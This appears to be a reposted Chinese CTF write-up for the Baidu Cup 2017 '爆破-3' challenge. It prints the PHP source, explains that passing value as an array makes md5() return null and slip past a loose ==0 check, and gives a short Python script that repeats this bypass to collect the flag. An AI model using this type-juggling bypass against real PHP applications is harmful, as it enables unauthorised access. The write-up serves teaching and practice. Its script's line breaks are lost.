本文主要是介绍百度杯”CTF比赛 2017 二月场 爆破-3,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
一道代码审计题, 题目代码如下:
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){$_SESSION['nums'] = 0;$_SESSION['time'] = time();$_SESSION['whoami'] = 'ea';
}if($_SESSION['time']+120<time()){session_destroy();
}$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){$_SESSION['nums']++;$_SESSION['whoami'] = $str_rands;echo $str_rands;
}if($_SESSION['nums']>=10){echo $flag;
}show_source(__FILE__);
?>
可传的参数只有value
, 输出flag的条件是session.num ≥ 10
;
而num
的初值为0
, 只有 保持每次请求的value
与session.whoami
值相等, 且将md5(value)
的第5~9位转整数后为0时, 它才会自增1.
而num
每次自增后就会更新whoami
的值为一个两位随机文本, 并且程序会输出新值,
用这个新值进行下一次请求就能满足第一个条件, 但是md5的值不符合要求.
而且这里是只截取value
的前两位与whoami
对比, 而md5是针对整个value
来说的, 所以还是有机会.
就是在whoami
后面再加一些随机文本, 让他符合md5的要求(substr(md5($value),5,4)==0
),
然后, 我们只要…算了我编不下去了(方法可行但是较复杂)
其实我们只要利用md5函数不能取数组的坑就能绕过了,
也就是请求url为/?value[]=上一次的whoami
这边参考其他师傅的wp写了个py脚本
import requestss = requests.session()
r = s.get('http://xxx/?value[]=ea') # 因为whoami的初值是eafor i in range(20):url = 'http://xxx/?value[]=' + r.text[0:2] # 更新为上次的whoamir = s.get(url)if 'flag{' in r.text:print(r.text)break
这样的话, 就能在开头看到flag了
这篇关于百度杯”CTF比赛 2017 二月场 爆破-3的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!